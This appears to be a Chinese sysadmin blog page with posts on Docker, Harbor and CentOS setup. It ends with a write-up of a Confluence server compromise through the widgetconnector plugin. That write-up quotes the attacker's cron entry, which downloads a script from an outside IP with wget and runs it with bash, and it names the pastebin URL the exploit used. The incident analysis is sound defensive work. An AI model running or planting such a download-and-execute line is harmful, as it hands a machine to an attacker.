欢迎光临
我们一直在努力

docker修改docker0默认ip地址

u22e阅读(3378)

1.vim /etc/docker/daemon.json

[code]{

“bip”:”172.16.0.1/16″

}[/code]

2.systemctl daemon-reload

systemctl restart docker

CentOS7 安装Harbor1.1.2教程

u22e阅读(1138)

 

1:安装docker

# sudo yum install -y yum-utils device-mapper-persistent-data lvm2
# sudo yum-config-manager \
--add-repo\ 
https://download.docker.com/linux/centos/docker-ce.repo
#sudo yum install docker-ce
sudo systemctl start docker

2:安装Docker-Compose

#curl -L https://github.com/docker/compose/releases/download/1.14.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
#sudo chmod +x /usr/local/bin/docker-compose

3:安装Harbor

wget https://github.com/vmware/harbor/releases/download/v1.1.2/harbor-online-installer-v1.1.2.tgz
tar xvf harbor-online-installer-v1.1.2.tgz
cd harbor
#sudo ./prepare
docker-compose up -d

4:完成后

http://192.168.0.209/
正常访问
用户名:admin
密码:Harbor12345
可以执行如下的命令进行停止和启动

停止

#docker-compose stop

启动

#docker-compose start

 

 

安装harbor报错ERROR: Failed to Setup IP tables: Unable to enable SKIP DNAT rule: (iptables failed: iptables --wait -t nat -I DOCKER -i br-00d64db4e617 -j RETURN: iptables: No chain/target/match by that name

u22e阅读(1983)

harbor安装执行命令报错如下

ERROR: Failed to Setup IP tables: Unable to enable SKIP DNAT rule: (iptables failed: iptables –wait -t nat -I DOCKER -i br-00d64db4e617 -j RETURN: iptables: No chain/target/match by that name.
(exit status 1))

解决方法

关闭防火墙之后docker需要重启,执行以下命令重启docker即可:

service docker restart

然后再执行下面命令即可

CENTOS7安装桌面系统 CENTOS安装桌面图形化GUI GNOME

u22e阅读(1172)

常我们在使用CENTOS时候都是不会去用到它的GUI桌面系统,都是用最基础的命令行形式,这样会比较节省服务器资源,毕竟CENTOS大部分就是用于服务器,当然也有人会有各种需求,需要用到桌面系统,比如需要安装浏览器,比如需要挂Q等,针对这些问题,就只能安装桌面系统了。我们这里汇总了CENTOS上常用的几种桌面环境系统,下面进入正题:

如果你的CENTOS是最小化安装的那默认都是不带X WINDOWS的,所以在安装这些桌面之前得先安装一下X WINDOWS,这个控制功能。

# yum upgrade
# yum -y groupinstall “X Window System”

安装GNOME桌面环境。

# yum -y groups install “GNOME Desktop”

启动桌面,然后重启系统.完成安装后输入如下所示的命令:

# startx
#  reboot

这个命令会启动GNOME桌面环境。对于首次启动,初始设置功能会运行,您必须进行首次使用的配置。

首先选择系统语言。

然后选择键盘类型。

添加在线帐户,这个是可选的。

最后点击“开始使用CentOS Linux”。

如果需要在WINDOWS端远程桌面连接CENTOS的这些桌面系统,可以这样做

配置源

# yum install  epel* -y

安装xrdp

# yum –enablerepo=epel -y install xrdp

启动xrdp并设置开机启动

# systemctl start xrdp

# systemctl enable xrdp

# reboot

Centos7更改默认启动桌面(或命令行)模式

u22e阅读(826)

centos7以后是这样的,7以前就是别的版本了

1.systemctl get-default命令获取当前模式

2.systemctl set-default graphical.target 修改启动模式(修改为图形界面,要是修改为命令行就multi-user.target)

2.systemctl set-default multi-user.target 修改启动模式

3.reboot重新启动就可以了

装完Centos7提示Initial setup of CentOS Linux 7 (core)

u22e阅读(583)

在用U盘装完CentOS后,重新开机启动后显示:

Initial setup of CentOS Linux 7 (core)

1) [x] Creat user 2) [!] License information

(no user will be created) (license not accepted)

Please make your choice from above [‘q’ to quit | ‘c’ to continue | ‘r’ to refresh]:

解决方法:

输入“1”,按Enter键

输入“2”,按Enter键

输入“q”,按Enter键

 

输入“yes”,按Enter键

Docker 生产环境修剪/删除(prune)未使用的 Docker 对象

u22e阅读(999)

Docker 采用保守的方法来清理未使用的对象(通常称为“垃圾回收”),例如镜像、容器、卷和网络:除非明确要求 Docker 这样做,否则通常不会删除这些对象。这可能会导致 Docker 使用额外的磁盘空间。对于每种类型的对象,Docker 都提供了一条 prune 命令。另外,可以使用 docker system prune 一次清理多种类型的对象。本主题讲解如何使用这些 prune 修剪命令。

1. 修剪镜像
docker image prune 命令可以清理未使用的镜像。默认情况下,docker image prune 命令只会清理 dangling 镜像。dangling 镜像是没被标记且没被其它任何镜像引用的镜像。要删除 dangling 镜像:

$ docker image prune

WARNING! This will remove all dangling images.
Are you sure you want to continue? [y/N] y

通过 -a 标志可以删除没有被已有容器使用的所有镜像:

$ docker image prune -a

WARNING! This will remove all images without at least one container associated to them.
Are you sure you want to continue? [y/N] y

默认情况下,系统会提示是否继续。要绕过提示,请使用 -f 或 –force 标志。

可以使用 –filter 标志使用过滤表达式来限制修剪哪些镜像。例如,只考虑 24 小时前创建的镜像:

$ docker image prune -a –filter “until=24h”

还可以使用其他过滤表达式。更多示例参考 手册。

2. 修剪容器
停止容器后不会自动删除这个容器,除非在启动容器的时候指定了 –rm 标志。使用 docker ps -a 命令查看 Docker 主机上包含停止的容器在内的所有容器。你可能会对存在这么多容器感到惊讶,尤其是在开发环境。停止状态的容器的可写层仍然占用磁盘空间。要清理掉这些,可以使用 docker container prune 命令:

$ docker container prune

WARNING! This will remove all stopped containers.
Are you sure you want to continue? [y/N] y

默认情况下,系统会提示是否继续。要绕过提示,请使用 -f 或 –force 标志。

默认情况下,所有停止状态的容器会被删除。可以使用 –filter 标志来限制范围。例如,下面的命令只会删除 24 小时之前创建的停止状态的容器:

$ docker container prune –filter “until=24h”

还可以使用其他过滤表达式。更多示例参考 手册。

3. 修剪卷
卷可以被一个或多个容器使用,并占用 Docker 主机上的空间。卷永远不会被自动删除,因为这么做会破坏数据。

$ docker volume prune

WARNING! This will remove all volumes not used by at least one container.
Are you sure you want to continue? [y/N] y

默认情况下,系统会提示是否继续。要绕过提示,请使用 -f 或 –force 标志。

默认情况下,会删除所有未被使用的卷。可以使用 –filter 标志来限制范围。例如,下面的命令只会删除没有 keep 标签的卷:

$ docker volume prune –filter “label!=keep”
还可以使用其他过滤表达式。更多示例参考 手册。

4. 修剪网络
Docker 网络不会占用太多磁盘空间,但是它们会创建 iptables 规则,桥接网络设备和路由表条目。要清理这些东西,可以使用 docker network prune 来清理没有被容器未使用的网络。

$ docker network prune

WARNING! This will remove all networks not used by at least one container.
Are you sure you want to continue? [y/N] y

默认情况下,系统会提示是否继续。要绕过提示,请使用 -f 或 –force 标志。

默认情况下,会删除所有未被使用的网络。可以使用 –filter 标志来限制范围。例如,下面的命令只会删除 24 小时前创建的网络:

$ docker network prune –filter “until=24h”

还可以使用其他过滤表达式。更多示例参考 手册。

5. 修剪一切
docker system prune 命令是修剪镜像、容器和网络的快捷方式。在 Docker 17.06.0 及以前版本中,还好修剪卷。在 Docker 17.06.1 及更高版本中必须为 docker system prune 命令明确指定 –volumes 标志才会修剪卷。

$ docker system prune

WARNING! This will remove:
– all stopped containers
– all networks not used by at least one container
– all dangling images
– all build cache
Are you sure you want to continue? [y/N] y

如果使用 Docker 17.06.1 或更高版本,同时也想修剪卷,使用 –volumes 标志。

$ docker system prune –volumes

WARNING! This will remove:
– all stopped containers
– all networks not used by at least one container
– all volumes not used by at least one container
– all dangling images
– all build cache
Are you sure you want to continue? [y/N] y

默认情况下,系统会提示是否继续。要绕过提示,请使用 -f 或 –force 标志。

原文地址

Linux下如何查看哪些进程占用的CPU内存资源最多

u22e阅读(642)

linux下获取占用CPU资源最多的10个进程,可以使用如下命令组合:

ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head

linux下获取占用内存资源最多的10个进程,可以使用如下命令组合:

ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head

 

命令组合解析(针对CPU的,MEN也同样道理):

ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head

该命令组合实际上是下面两句命令:

ps aux|head -1

ps aux|grep -v PID|sort -rn -k +3|head

 

可以使用一下命令查使用内存最多的10个进程

查看占用cpu最高的进程

ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head

或者top (然后按下M,注意这里是大写)

查看占用内存最高的进程

ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head

或者top (然后按下P,注意这里是大写)

该命令组合实际上是下面两句命令:

ps aux|head -1
ps aux|grep -v PID|sort -rn -k +3|head

其中第一句主要是为了获取标题(USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND)。
接下来的grep -v PID是将ps aux命令得到的标题去掉,即grep不包含PID这三个字母组合的行,再将其中结果使用sort排序。
sort -rn -k +3该命令中的-rn的r表示是结果倒序排列,n为以数值大小排序,而-k +3则是针对第3列的内容进行排序,再使用head命令获取默认前10行数据。(其中的|表示管道操作)

补充:内容解释

PID:进程的ID
USER:进程所有者
PR:进程的优先级别,越小越优先被执行
NInice:值
VIRT:进程占用的虚拟内存
RES:进程占用的物理内存
SHR:进程使用的共享内存
S:进程的状态。S表示休眠,R表示正在运行,Z表示僵死状态,N表示该进程优先值为负数
%CPU:进程占用CPU的使用率
%MEM:进程使用的物理内存和总内存的百分比
TIME+:该进程启动后占用的总的CPU时间,即占用CPU使用时间的累加值。
COMMAND:进程启动命令名称

 

可以使用以下命令查使用内存最多的K个进程

方法1:

ps -aux | sort -k4nr | head -K

如果是10个进程,K=10,如果是最高的三个,K=3

说明:ps -aux中(a指代all——所有的进程,u指代userid——执行该进程的用户id,x指代显示所有程序,不以终端机来区分)

ps -aux的输出格式如下:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 19352 1308 ? Ss Jul29 0:00 /sbin/init
root 2 0.0 0.0 0 0 ? S Jul29 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S Jul29 0:11 [migration/0]

sort -k4nr中(k代表从第几个位置开始,后面的数字4即是其开始位置,结束位置如果没有,则默认到最后;n指代numberic sort,根据其数值排序;r指代reverse,这里是指反向比较结果,输出时默认从小到大,反向后从大到小。)。本例中,可以看到%MEM在第4个位置,根据%MEM的数值进行由大到小的排序。

head -K(K指代行数,即输出前几位的结果)

|为管道符号,将查询出的结果导到下面的命令中进行下一步的操作。

方法2:top (然后按下M,注意大写)

二、可以使用下面命令查使用CPU最多的K个进程

方法1:

ps -aux | sort -k3nr | head -K

方法2:top (然后按下P,注意大写)

Confluence 被攻击事件

u22e阅读(811)

wiki突然无妨访问,重启服务器过段时间也挂了

故障排除

故障发生之时的第一感觉就是 Confluence 资源不够?但仔细一想,也没有两个人在使用啊。于是查看了一下进程:

Confluence 本该只有两个进程运行,现在只剩下一个本身的,而 Confluence 的用户却运行了一堆乱七八糟的进程。

使用 top 命令查看系统资源占用:

有一个进程巨特么占用 CPU,但是 COMMAND 却没有。通过 PID 可以看出,这个进程就是之前的 /boot/vmlinuz

网上去搜索相关进程的信息,说什么内核进程。当时想,难道内核出 BUG 了?这可咋整,不会需要升级内核吧。

出于懒,先将应用启动起来,让别人先用着吧。可就在这时,神奇的一幕发生了,我 X,服务居然启动不起来了。

再次通过 ps 查看进程,发现又出现了一些奇怪的进程正在执行:

一个 curl 一个 wget,而特么的操作都是去一个 51 的 IP 下载文件,百度这个 IP:

眉头一皱,渐渐的意识到这件事情并不这么简单,这是在搞事情啊。

 

出于本能,第一步要做的事情,就是找出这些文件,先删除,并且不让他再去下载。

于是我将 curl 和 wget 改为只有 root 用户能够使用。

chmod 700 /usr/bin/wget
chmod 700 /usr/bin/curl

然后便是查定时任务,因为之前有过被攻击的经验,这些 B 都喜欢在你机器上面添加定时任务。

su - confluence
crontab -l

果然,在定时任务里面有一条 curl 操作,每隔 5 分钟搞一次,还用了 base64 编码。

*/5 * * * * /usr/bin/wget -q -O /tmp/seasame http://51.38.133.232:80 && bash /tmp/seasame

把这些都删除,顺便去下载了那个脚本,发现他在 /tmp 目录下存放了很多文件,直接全部给他先删除。

然后满心欢喜的启动 Confluence。成功跑起来了。心里还有点小得意。

 

本以为故事到这里就应该告一段落了,然鹅,这才刚刚开始。

在接下来的一天里,Confluence 一直处于不稳定状态,时不时就挂掉。有时十几分钟,有时半个小时,问题来了,会不会是这台机器的原因?

那还能咋整,迁移呗。于是在一台新的机器上重启部署好服务,将数据重新导入,一且顺顺利利。但没过多久,服务器再度出现上面的症状。

这时心里一万头草泥马奔涌而过。用之前的方法处理,但又一个新的问题诞生了。同时,一个新的域名出现在了我的世界。

pastebin.com

经过一番了解,这是一个可以用户匿名发布纯文本的网站,发布完成以后,文件可以生成一个链接~~~~

于是,接下来的战斗都围绕着类似于这样的地址做斗争:

https://pastebin.com/raw/B5BTS5fm

打开网站,将文件里面 base64 部分解密:

而最终斗争方法包括但不限于修改 curl,wget 权限,修改 DNS 解析等等等等。

127.0.0.1   pastebin.com

 

结果一番折腾,并没有什么卵用,Confluence 还是隔一段时间就挂掉。为此还专门写了个定时任务让他检测重启。

复制代码
#!/bin/bash
#################################################################
# Confluence 状态检查
#################################################################
SERVICE_STATUS=$(ps aux | grep "/opt/atlassian/confluence/confluence-6.9" | grep -v grep | wc -l)
if [[ ${SERVICE_STATUS} -ne 2 ]]; then
    echo "$(date '+%Y-%m-%d %H:%M:%S') confluence is not running!\n" >>/tmp/confluence_restart.log
    echo "$(date '+%Y-%m-%d %H:%M:%S') confluence restart!\n" >>/tmp/confluence_restart.log
    /etc/init.d/confluence restart &
fi
复制代码

日志里面似乎也没啥实质性的东西。全是类似于以下错误,这说明是从程序内部发起的,这可咋整:

复制代码
org.apache.velocity.exception.ResourceNotFoundException: Unable to find resource 'https://pastebin.com/raw/B5BTS5fm'
.........................
java.lang.RuntimeException: org.apache.catalina.connector.ClientAbortException: java.io.IOException: Broken pipe
.........................
复制代码

我把这些地址都让他不能使用了,总不会出乱子吧,不能访问就不能访问呗。

再后来,通过 JAVA 同事点醒,说的是这样的请求失败会造成程序阻塞。我 X,难道这就是方向了?

于是百度关键词,最终在两篇文章中看到了类似的问题。

一篇是漏洞说明:

https://yq.aliyun.com/articles/698490

一篇是问题解决:

https://yq.aliyun.com/articles/698056

 

 

最终办法

 

widgetconnector-xxx.jar 3.1.4 之前的版本存在该漏洞,所以我们可以换成官网新的:

https://packages.atlassian.com/maven-public/com/atlassian/confluence/extra/widgetconnector/widgetconnector/3.1.4/widgetconnector-3.1.4.jar

删除旧版本的 jar 包,换成新版本,具体目录:

confluence安装目录/confluence/WEB-INF/atlassian-bundled-plugins/

然后重启 confluence,为了更安全,我们可以配合之前的修改 curl 和 wget 权限,修改 DNS 解析使用。